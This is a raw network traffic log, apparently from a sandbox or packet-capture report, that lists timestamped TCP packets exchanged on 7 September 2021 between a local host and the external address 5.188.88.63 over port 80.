Sep 7, 2021 16:02:40.287241936 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.291467905 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291492939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291510105 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291536093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291559935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291583061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291604042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291625023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291641951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291660070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291666031 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.291672945 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.291676044 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.291678905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.291681051 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291692972 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.291702986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291719913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291738987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291770935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291779995 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.291793108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291804075 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.291811943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291829109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291846991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291862965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291882992 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291901112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291918039 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291935921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291953087 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291969061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.291987896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292007923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292011976 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.292030096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292051077 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292052031 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.292068005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292088985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292097092 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.292108059 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292222023 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.292397976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292418003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292429924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292439938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.292526007 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.295846939 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.298815966 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320102930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320130110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320152998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320177078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320199966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320219994 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320225954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320241928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320249081 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320252895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320277929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320300102 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320322037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320343018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320360899 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320363998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320386887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320415020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320439100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320460081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320481062 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320502043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320523024 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320540905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320544004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320553064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320560932 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320566893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320568085 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320574999 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320594072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320620060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320641041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320656061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320672035 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320693970 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320700884 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320713043 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320715904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320732117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320749044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.320760965 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320770025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.320792913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.330410004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.330450058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.330493927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.330527067 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.330526114 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.330559015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.330670118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.331177950 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.331196070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.331209898 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.331233025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.331259012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.331324100 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.331341028 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.334419012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.339313984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.339349985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.339378119 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.339405060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.339430094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.339459896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.339577913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.339607954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.339634895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.339679956 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.339704990 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.339716911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.339732885 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.340023994 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.340054989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.340080976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.340249062 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.340471983 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.340498924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.340518951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.340540886 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.340585947 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.340599060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.340603113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.340605974 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.345277071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.345550060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.345801115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.345829010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.345850945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.345874071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.345895052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.345921040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.345943928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.345966101 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.345983982 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.345988989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.346002102 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.346004963 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.346007109 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.346009016 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.346014023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.346035957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.346056938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.346080065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.346103907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.346127033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.346148014 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.346170902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.346209049 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.346215010 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.346218109 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.346230030 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.349669933 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350033998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350063086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350089073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350111961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350136042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350161076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350176096 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.350184917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350198984 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.350202084 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.350203991 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.350213051 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350238085 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350261927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350285053 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350307941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350330114 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350358009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350382090 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350399971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350418091 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350436926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350460052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350485086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350511074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350512981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.350517988 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.350521088 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.350523949 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.350526094 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.350536108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350558996 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350580931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350970984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.350999117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351052046 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351075888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351099968 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351139069 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.351141930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351150990 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.351155043 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.351157904 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.351160049 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.351170063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351195097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351218939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351221085 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.351241112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351850986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351881981 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.351902008 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.351954937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.351980925 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352190018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352229118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352252960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352358103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352451086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352474928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352503061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352535963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352547884 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.352569103 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.352571964 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.352574110 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.352576017 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.352834940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352859020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352880955 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352921009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352943897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.352982044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.353358030 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.353375912 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.353379965 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.355312109 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355468988 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355618000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355642080 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355664015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355688095 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.355712891 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.355762005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355772972 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.355787992 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355811119 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355834007 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355845928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.355855942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355878115 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.355935097 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.355938911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.357980967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.358010054 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.361397982 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.364955902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.379576921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.379606962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.379628897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.379683971 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.379820108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.381386042 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.384390116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384421110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384443045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384464025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384485960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384535074 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384557962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384581089 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384602070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384628057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384651899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384654045 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.384669065 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.384670973 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.384674072 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.384675980 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384676933 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.384699106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384721041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384742022 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384763002 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384783030 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384807110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.384929895 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.384938955 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.384942055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.384943962 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.385127068 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.385154009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.385179043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.385200977 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.385266066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.385291100 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.385312080 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.385346889 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.385370016 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.385385036 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.385507107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.385530949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.386370897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.386384010 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.386465073 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.390994072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.391019106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.391038895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.391060114 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.391151905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.391170025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.391300917 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.391330004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.391354084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.391375065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.391385078 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.391680002 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.392170906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.392196894 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.392219067 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.392266989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.392309904 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.392324924 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.399492979 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400367975 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400398970 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400422096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.400444984 CEST	80	49744	5.188.88.63	192.168.2.4
